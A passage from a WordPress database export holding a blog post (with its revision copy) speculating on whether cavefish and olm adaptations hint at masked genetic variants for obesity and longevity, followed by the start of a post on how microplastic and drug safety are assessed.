themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, if true, would be neat. Really neat. Unfortunately, as far as I can tell, there’s no good way to test this, because there aren’t any mammal species who live full time in caves or even full time in complete darkness. There definitely isn’t the natural experiment of two subspecies who can interbreed, one in darkness and one in light, like there is for surfacefish and cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, both bats and moles live almost all the time in darkness or very low light conditions, and they do both have generally poor eyesight and generally long lives. Some bats and some moles are exceptional on either measure, with one tiny bat species&nbsp;<a href=\"https://en.wikipedia.org/wiki/Siberian_bat\">living up to 41 years</a>&nbsp;and one mole species, the naked mole rat, living up to 37 years. And, for naked mole rats at least, this longevity comes hand in hand with&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7473896/\">a very low metabolic rate during hypoxic conditions</a>, an intriguing parallel to the low metabolic rate accompanying the obesity of olms and cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7140d5d1-8067-4296-808c-7b6294128b4f_3072x1536.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7140d5d1-8067-4296-808c-7b6294128b4f_3072x1536.jpeg\" alt=\"Naked Mole Rat | National Geographic\" title=\"Naked Mole Rat | National Geographic\"/></a><figcaption class=\"wp-element-caption\">I had&nbsp;<a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\">a post on longevity from a few years ago</a>&nbsp;that pointed to immune system differences as the cause of differential longevity in animals. I’m less confident now than I was in that post, but I still think it’s a good place to look.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And, if I were to really go out on a limb with my free association, I’d point out that mice, when born and raised in complete darkness, have both&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/35933550/\">pronounced retinal changes</a>&nbsp;and&nbsp;<a href=\"https://www.frontiersin.org/journals/neurology/articles/10.3389/fneur.2018.00609/full\">“depressive” symptoms that persist after return to the light</a>, which seems close to a low metabolic rate. They don’t have any consistent changes in bodyweight or longevity, but still, you know, there’s something here if you squint at it, no pun intended.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’ll let these sleeping fish, and mice, lie for now. Until someone figures out a method and the consequences of exhausting buffer systems in mammals, and exploits that to develop mammals with extreme phenotypes of longevity or obesity (and to identify the cryptic gene variants that hide those phenotypes), there’s not a lot for us to do. Longevity still might be a choice, but, unfortunately, we’re still in the dark about it.</p>\n<!-- /wp:paragraph -->','Is longevity a choice? How about obesity?','','publish','closed','closed','','is-longevity-a-choice-how-about-obesity','','','2024-06-12 17:10:35','2024-06-12 17:10:35','',0,'https://trevorklee.com/?page_id=446',0,'page','',0),
(447,1,'2024-06-12 17:10:35','2024-06-12 17:10:35','<!-- wp:paragraph -->\n<p>As I’ve mentioned before in this blog, cavefish are fish that live solely in caves, as their name suggests. They are weird. They are obese, eyeless, and exceptionally long-lived. This is in contrast to their cousins, surfacefish, who live in rivers and streams near the caves and have normal sizes, normal eyes, and normal lifespans.<br><br>You may wonder why I call these fish “cavefish” and I never give their scientific names. That’s because they don’t have any. Cavefish is a generic term for any fish that lives solely in a cave, and represents a diverse group of over 200 fish, from catfish to eels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Surfacefish can become cavefish rapidly in the right conditions, definitely within hundreds of years and likely within dozens. Surfacefish and cavefish can fully interbreed (as long as they’re part of the same original species), and surfacefish start the process of becoming cavefish in just a generation or two. In one interesting natural experiment, rainbow trout were introduced into a massive underground cave in Tennessee, Craighead Cavern, sometime around the 1950’s. The intention was to see where the cave exited by following the rainbow trout, but the trout stayed put, and have lived in the cave ever since. These rainbow trout today are pretty close to cavefish, even though they are constantly disturbed by tour guides tossing them food for the entertainment of tourists. Local news articles quote tour guides describing these rainbow trout as “enormous, 20% blind, and 70% colorless”,&nbsp; which, in my opinion, is a good description of being halfway in between cavefish and surfacefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not an adaptation that’s unique to fish, either. The olm is a species of aquatic salamander that lives almost exclusively in caves. Most olm are blind, with regressed eyes, and colorless (the exception to this description are a subspecies of olm which live in a spring near a cave, who have limited pigment and small eyes). Olm can survive at least 10 years without food, as they store enormous amounts of fat and glycogen in their liver. Their estimated lifespan is up to 110 years with a median of 58 years, far surpassing their nearest relatives in their family, mudpuppies, who only live about 11 years.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cbb8831-2341-4271-a7c5-498a38f1c3c2_634x347.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cbb8831-2341-4271-a7c5-498a38f1c3c2_634x347.jpeg\" alt=\"Slovenian Olm salamander lays eggs for first time in three years | Daily  Mail Online\" title=\"Slovenian Olm salamander lays eggs for first time in three years | Daily  Mail Online\"/></a><figcaption class=\"wp-element-caption\">The olm. They may not look obese, but their livers are. Also, I saw a news story that suggested one olm may not have moved in 7 years, which is pretty great. What a life.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>We are more closely related to olm than they are to rainbow trout, or to any of the other cavefish. And yet olm, when faced with cave conditions (darkness, lack of food, lack of predators), become remarkably phenotypically similar to fish in cave conditions. Most interestingly for me, their adaptations cause them to achieve two of the holy grails of human medicine: being obese without health consequences, and being exceptionally long-lived.<br><br>So, that raises the question: if you raised several generations of humans in a totally dark cave, would they, too, become obese, eyeless, and exceptionally long-lived, just like our cousins, the cave salamanders? And, if so, is there a way to trigger those changes without raising several generations of humans in total darkness? Is there a way to trigger just exceptional longevity without losing our eyes or slim figure? In other words, is being long-lived a choice?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s tricky to answer this because there hasn’t been enough research done on cavefish or olm yet. Researching longevity is, of course, difficult, because it takes a long time. There’s been more research done on the metabolic adaptations, but that’s also hard to measure without cutting open the animals and looking at their livers, which is generally a fatal procedure. So, in the end, we are unfortunately going to have to look at the least interesting of the adaptations because it’s the easiest to study: the loss of the eyes. We’ll then try to generalize to obesity and longevity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the first question you might ask is: how do cavefish lose their eyes? Well, there are a few ways to answer that. The most obvious, and easiest to answer, is developmentally. Cavefish, at least the ones studied so far, lose their eyes in&nbsp;<a href=\"https://royalsocietypublishing.org/doi/full/10.1098/rstb.2015.0487#d3e487\">a famously strange way</a>. As embryos (or “fry”), their eyes develop normally for a few days. Then all of a sudden, they start to lose their eyes, either lens first, in the case of the Mexican tetra, or retina first, in&nbsp;<a href=\"https://journals.biologists.com/dev/article/142/4/743/47153/Cavefish-eye-loss-in-response-to-an-early-block-in\">the case of the Somalian cavefish</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This roundabout way of getting rid of the eyes, by starting development on them and then erasing them, suggests that, for whatever reason, cavefish have to develop their eyes at least somewhat before erasing them. This is likely due to the sequencing of development in fish. Much like mammalian males develop nipples because sex differentiation happens after nipple formation, cavefish probably develop proto eyes because interfering earlier than that would mess up neurodevelopment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we zoom in on the Mexican tetra, who’s by far the best studied of the cave animals, we get a better idea of how exactly this sequencing of development works. If you look at a cave-dwelling Mexican tetra and a surface-dwelling Mexican tetra embryo develop side-by-side, you can notice that, from a very early stage,&nbsp;<a href=\"https://royalsocietypublishing.org/doi/full/10.1098/rstb.2015.0487#d3e487\">cave dwellers and surface-dwellers use the same cells for different purposes</a>. They still form the same early structures, but cave-dwellers use differential timing in signaling genes to divert some retina cells to the hypothalamus. So, even though both cave dwellers and surface dwellers are working off almost the same blueprint for their construction project (similar enough DNA to interbreed), they have subtly different “foremen”. For the cave dwellers, this foreman can’t interfere with the blueprint, but he can redirect the materials as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more interesting, we also have an excellent idea of how the eye eventually self-destructs. Remember how I said the Mexican tetra’s eye destruction starts lens first? Well, in&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1126/science.289.5479.631\">a fascinating series of experiments</a>, it was found that transplanting a lens from a surfacefish tetra embryo to a cavefish embryo results in the cavefish developing a normal eye on the side of the transplant. Likewise, transplanting a lens from a cavefish to a surfacefish results in the surfacefish developing an eye that self-destructs on the side of the transplant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F905dd655-500f-4e0a-9a5c-38e38f627366_528x888.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F905dd655-500f-4e0a-9a5c-38e38f627366_528x888.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Pretty dramatic results from the lens transplant, no?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, for the Mexican tetra at least, the signal to keep the eye or not keep the eye, and likely the signal to divert cells or not divert cells from the retina, comes directly from the lens. It is not a body-wide signal. Now, the question becomes: is the signal genetic or epigenetic? That is: does the signal come directly from permanent modifications to the genetic code, or does the signal come from temporary modifications to how the genetic code is read?<br><br>The implications of either conclusion are important. If these dramatic phenotypic changes are genetic, then they have to be already harbored in the cavedweller’s genetic code as a silent, or&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1038/nrg3688\">cryptic</a>, variant. There’s no way that random mutations can come about in just a few generations so as to cause such dramatic phenotypic changes, especially consistently across cavedwelling species. So, instead, all cavedwelling species have to already have these phenotypes within their genome, including the phenotype to become long-lived. Under pressure of natural selection, these phenotypes get suddenly unleashed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, if these dramatic phenotypic changes are epigenetic, then these are massive, heritable phenotypic changes that can be triggered by a simple change in conditions. By simply silencing one region of the genome or promoting another in response to a change in conditions, cavedwelling organisms can become the blind, obese, longlived cavedwellers we know and love. And, somehow, all the cavedwellers adopt similar phenotypes, despite having epigenetic changes targeted at different parts of the body, like with our retina vs. lens directed eye apoptosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, the jury is still out on which one of these mechanisms is responsible, but the evidence leans towards the former, the cryptic variation. The cavefish phenotype is conserved, in that, if you breed cavefish with each other, they&nbsp;<a href=\"https://aquariumtidings.com/blind-cave-tetras/\">will continue to be eyeless</a>. And, if you cross a cavefish with a surfacefish, the offspring have small eyes, with bigger eyes as you continue to cross. This is identical to a classic Mendelian recessive genotype experiment. Meanwhile, it’s rare for epigenetic inheritance to function across generations, and probably impossible for it to mimic Mendelian recessive genotyping.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even stronger evidence comes from gene editing, where a CRISPR-induced mutation in a single gene, oca2, can&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0960982221009064\">cause both albinism and reduced sleep needs</a>&nbsp;in the Mexican tetra, two of the less commonly discussed cavefish adaptations. Unfortunately, there’s no similar simple CRISPR-induced mutation that can cause complete eye loss, but it raises the likelihood that there is one, or at least a few that function together to cause eye loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82fa333e-fa7e-437e-be33-1d2e2fd590c3_1120x752.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82fa333e-fa7e-437e-be33-1d2e2fd590c3_1120x752.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Note that Pachon is the name of the cave these specific tetra are from.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But the trouble with cryptic variation is that it’s, well, cryptic. It’s hard to understand the mechanism. Normal variation is pretty easy to understand, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Peppered_moth_evolution\">the classic peppered moth example</a>. Before the Industrial Revolution, most moths were white, and a few were black. After the Industrial Revolution, black moths were better able to hide amongst the coal covered trees, and so were better able to reproduce before being eaten by birds. The frequency of black moths rose drastically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This sort of variation does not exist for the phenotype of having eyes. When surfacefish population get trapped in a cave, all of them have eyes, with presumably only minute variation in sizing. The step change to losing eyes in development (and becoming obese, etc.) can’t be driven by just better reproductive success. So, something else has to trigger it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best guess so far is that&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1126/science.1240276\">it’s triggered by the lack of conductivity in cavewater</a>, as cavewater contains much fewer solutes than freshwater. This lack of conductivity elicits a “heat shock” response, forcing the cavefish to use up their heat shock protein 90 (hsp90) in order to keep normal protein folding in this strange, nonconductive environment. In experimentation, inhibiting the hsp90 protein with radicicol results in a massive increase in variation of tetra eye sizes, from very big to very small, which would then, presumably, allow for the same selection mechanism as the peppered moths.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we zoom out again, then we get a sense of how obesity or longevity could be triggered in cavefish or olm or, indeed, humans. Being raised in a dark, food desert of a cave is a stressor. Whatever buffer systems are involved in managing stress of various sorts, whether hsp90,&nbsp;<a href=\"https://elifesciences.org/articles/51830#s2\">cortisol</a>&nbsp;or something else goes into overdrive trying to manage the stress. The buffer system runs thin quickly, as&nbsp;<a href=\"https://elifesciences.org/articles/51830#s2\">metabolic differences between dark-raised surfacefish and light-raised surfacefish can be seen in as little as 2.5 days</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the buffer system runs thin (i.e. cortisol or hsp90 runs out), extreme phenotypic variations are unearthed. In humans, we’d call this a disease, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Addison%27s_disease#Suggestive_features\">Addison’s disease</a>. In reality, it’s an evolutionary adaptation to extreme conditions. If the phenotype provides an advantage, like the loss of eyes providing an energy saving advantage that makes up for the loss of eyesight, then that phenotype will win out.<br><br>The key here, though, is that those genetic variants already exist. They’re just masked. The tetra that go into the caves already have, in their genetic code, extreme variations in eye size, obesity, and longevity. However, the buffer systems on top of the genetic code smooth out all the variations. Without the buffer system, you would see surfacefish with tiny, almost nonexistent eyes and surfacefish with huge eyes. With the buffer system, those same fish get just slightly smaller and slightly bigger eyes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this is true for tetra, which, to be fair, is still an if, then it might be true for olm as well. And if it’s true for olm, then it might be true for humans. That means that, within our genetic code, there could be extreme variations in body weight or longevity that are naturally masked by buffer systems. If we inhibit or exhaust the buffer systems, then those natural, extreme variations would reveal themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, if true, would be neat. Really neat. Unfortunately, as far as I can tell, there’s no good way to test this, because there aren’t any mammal species who live full time in caves or even full time in complete darkness. There definitely isn’t the natural experiment of two subspecies who can interbreed, one in darkness and one in light, like there is for surfacefish and cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, both bats and moles live almost all the time in darkness or very low light conditions, and they do both have generally poor eyesight and generally long lives. Some bats and some moles are exceptional on either measure, with one tiny bat species&nbsp;<a href=\"https://en.wikipedia.org/wiki/Siberian_bat\">living up to 41 years</a>&nbsp;and one mole species, the naked mole rat, living up to 37 years. And, for naked mole rats at least, this longevity comes hand in hand with&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7473896/\">a very low metabolic rate during hypoxic conditions</a>, an intriguing parallel to the low metabolic rate accompanying the obesity of olms and cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7140d5d1-8067-4296-808c-7b6294128b4f_3072x1536.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7140d5d1-8067-4296-808c-7b6294128b4f_3072x1536.jpeg\" alt=\"Naked Mole Rat | National Geographic\" title=\"Naked Mole Rat | National Geographic\"/></a><figcaption class=\"wp-element-caption\">I had&nbsp;<a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\">a post on longevity from a few years ago</a>&nbsp;that pointed to immune system differences as the cause of differential longevity in animals. I’m less confident now than I was in that post, but I still think it’s a good place to look.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And, if I were to really go out on a limb with my free association, I’d point out that mice, when born and raised in complete darkness, have both&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/35933550/\">pronounced retinal changes</a>&nbsp;and&nbsp;<a href=\"https://www.frontiersin.org/journals/neurology/articles/10.3389/fneur.2018.00609/full\">“depressive” symptoms that persist after return to the light</a>, which seems close to a low metabolic rate. They don’t have any consistent changes in bodyweight or longevity, but still, you know, there’s something here if you squint at it, no pun intended.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’ll let these sleeping fish, and mice, lie for now. Until someone figures out a method and the consequences of exhausting buffer systems in mammals, and exploits that to develop mammals with extreme phenotypes of longevity or obesity (and to identify the cryptic gene variants that hide those phenotypes), there’s not a lot for us to do. Longevity still might be a choice, but, unfortunately, we’re still in the dark about it.</p>\n<!-- /wp:paragraph -->','Is longevity a choice? How about obesity?','','inherit','closed','closed','','446-revision-v1','','','2024-06-12 17:10:35','2024-06-12 17:10:35','',446,'https://trevorklee.com/?p=447',0,'revision','',0),
(448,1,'2024-06-12 17:12:00','2024-06-12 17:12:00','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Intro to the safety of microplastics</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I saw this toxicology study the other day about&nbsp;<a href=\"https://academic.oup.com/toxsci/advance-article-abstract/doi/10.1093/toxsci/kfae060/7673133?redirectedFrom=fulltext&amp;login=false\">microplastics being found in dog and human testicles</a>. In the study, they examined the testicles of 23 autopsied men and 47 neutered dogs in New Mexico, and found that all of them had small bits of plastic in their testicles. This study drew a lot of media attention,&nbsp;<a href=\"https://www.npr.org/sections/health-shots/2024/05/22/1252831827/microplastics-testicles-humans-health\">like this piece from NPR</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the NPR piece, they do the typical science journalism thing, and get some quotes from the study authors and other scientists to put the findings in context, as well as bring in brief references to other, similar studies. And, of course, one of the most basic context-finding questions NPR asks is, “This is bad, right?” But, instead of the confident answer one might hope for, like “Yes,” or “Definitely,”, the article features quotes like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><!-- wp:paragraph -->\n<p>\"What [microplastics] do in the body, we don\'t know,\" says Campen, a professor at the UNM College of Pharmacy and one of the authors of the study, \"Obviously, little tiny particles can disrupt the way cells behave.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<em>correlation&nbsp;</em>[emphasis mine]<em>&nbsp;</em>between lower sperm count in the dog testicles and the presence of PVC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An&nbsp;<em>association&nbsp;</em>[emphasis mine]<em>&nbsp;</em>between greater levels of PVC and decreased weight of the testicles</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Microplastics were \"suspected\" to harm sperm quality and testicular health, but … that may soon tip over from \"suspected\" to \"likely\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We don\'t know the clinical ramifications of that yet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"I think there have to be a lot of caveats saying this is really the beginning,\" says Swan, a professor at the Icahn School of Medicine at Mount Sinai, \"It\'s suggestive, it\'s important, and it\'s preliminary.\"</p>\n<!-- /wp:paragraph --></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This is not exactly the confident language one is looking for from health professionals! It’s like a crime article about how cops found a smoking gun, but can’t prove there’s been a murder, and the cops can only discuss how the smoking gun would definitely be a big deal if someone has, in fact, died.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what’s the deal with these unconfident statements? Do the scientists quoted all suffer from a lack of confidence? Are they all in the pocket of big plastic/testicle? How do we get to the point where we can actually say for sure that plastic in our testicles is bad?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, join me on a magical journey as we discuss:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) how we determine the safety of chemicals in general&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) how that applies to microplastics</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) how to establish actual knowledge about microplastic safety</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) What we actually know about microplastic safety</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How safety is actually measured</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s no mystery why we don’t know whether microplastics are safe. Determining safety is really hard. Human history is filled with stories of chemicals that we thought were safe but weren’t, like asbestos, or chemicals we thought were dangerous but are actually relatively safe, like cholesterol. The real mystery is how we accurately determined the safety of any chemical at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e5188bd-c703-438a-89e1-abe455eddee2_770x324.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e5188bd-c703-438a-89e1-abe455eddee2_770x324.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Yeah, I guess this is the header image. I’m not proud of it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Determining whether a new chemical (or old chemical that was never tested) is safe is hard, expensive, and difficult ethically. This is doubly so for something like microplastics, where the safety concerns mostly come in the form of worrying about the long term systemic effects. We as a society are spoiled by the high quality safety information we get about chemicals like the pharmaceuticals we take, and don’t realize the effort that takes to produce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any drug you take, especially a new drug, has had to pass incredibly extensive safety testing<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-1-145179625\">1</a>. This is why I get frustrated by people questioning the safety of GLP-1 receptor agonists, because there are very few chemicals in history which have been tested as thoroughly as semaglutide. This isn’t to say that these drugs are completely safe, but it is to say that the costs and benefits of drugs like semaglutide have been extensively measured and argued over and, net-net, they are definitively boons to humanity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, similarly, this is why I get so frustrated by people who want to skip safety testing and sell drugs directly to the public (not that any specific drug comes to mind…). The safety of drugs like semaglutide isn’t a happy accident. It’s something that collectively millions of hours and billions of dollars has been spent making possible and establishing. It’s just as stupid to take someone’s untested drug as it is to get in your neighbor’s homemade supercar, and you should take a random drugmaker’s reassurances of n-of-1 safety as seriously as you take your neighbor’s reassurance of “My Frankenvette hasn’t exploded yet”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Safety testing for drugs, as you might imagine, is pretty formalized. Drugs have to pass roughly this series of safety tests:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) In vitro toxicology (i.e. does it kill or harm the wrong cells in the petri dish)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Two species animal toxicology. This means that the drug has to go through explorations to find the lethal dose of the drug when given for both short and long periods of time to at least 2 species of animal<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-2-145179625\">2</a>. Any health issues that come up for non lethal doses are also explored and documented, usually requiring a full clinical histopathology (i.e. testing blood regularly and also cutting open the animal at the end of the tests to examine any damage to their organs)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Other animal safety tests, depending on the drug. For example, any drug that might be given to pregnant women will likely be tested on pregnant animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Safety tests in healthy humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Safety tests in sick humans with the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) Postmarketing surveillance, which means seeing what adverse effects pop up when the drug is given to actual patients based off of doctors’ reports</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are no hard and fast rules about exactly how badly you have to do in one of these tests for your drug to get canceled, but these tests are quite strict<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-3-145179625\">3</a>. At the end of all of these tests, if the drug actually ends up on the market, you end up with an enormous amount of information about how these drugs affect the body. You have a really good idea of which safety issues the drug can cause and in what circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, to my mind, is a gold standard of what we mean when we discuss whether a chemical is safe. If a doctor (or the FDA) wants to know if semaglutide is safe for pregnant women, they can look through long-term and short-term data on the drug in actual patients, in placebo-controlled trials, in biopsied animals with biopsied fetuses, and in reproductive cells in a petri dish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why microplastic safety is hard</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, microplastics don’t have that sort of extensive safety data. In fact, they can’t have that data, because “microplastics” is a general term for small pieces of a bunch of different types of plastics (12 in the testicle study) which are blended with plasticizers, additives that change the properties of plastics. So, any given microplastic is a blend of at least two separate chemicals, and there’s no guarantee as to what percentage of each chemical is in the microplastic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that’s the first major issue with determining the safety of microplastics: “microplastic” is more of a colloquial term than a scientific term. We should really be talking about the safety of specific types of plastics and plasticizers, just like we talk about the safety of individual drugs rather than drugs as a whole. And, if we want to actually go by FDA safety testing standards as our gold standards, we should really, really be talking about the safety of the plastics alone, the plasticizers alone, and the combination of them in the ratios that would actually be present in the “wild”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe09abb-e7f4-45e0-81fe-37f6b1c7b6f7_768x474.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe09abb-e7f4-45e0-81fe-37f6b1c7b6f7_768x474.jpeg\" alt=\"300-Mile Swim Through The Great Pacific Garbage Patch Will Collect Data On  Plastic Pollution\" title=\"300-Mile Swim Through The Great Pacific Garbage Patch Will Collect Data On  Plastic Pollution\"/></a><figcaption class=\"wp-element-caption\">Supposedly the giant Pacific garbage patch is more about microplastics than visible garbage, but, in that case, I don’t know why this image shows up when I search “giant Pacific garbage patch”. Well, I’m too lazy to find out.</figcaption></figure>\n<!-- /wp:image 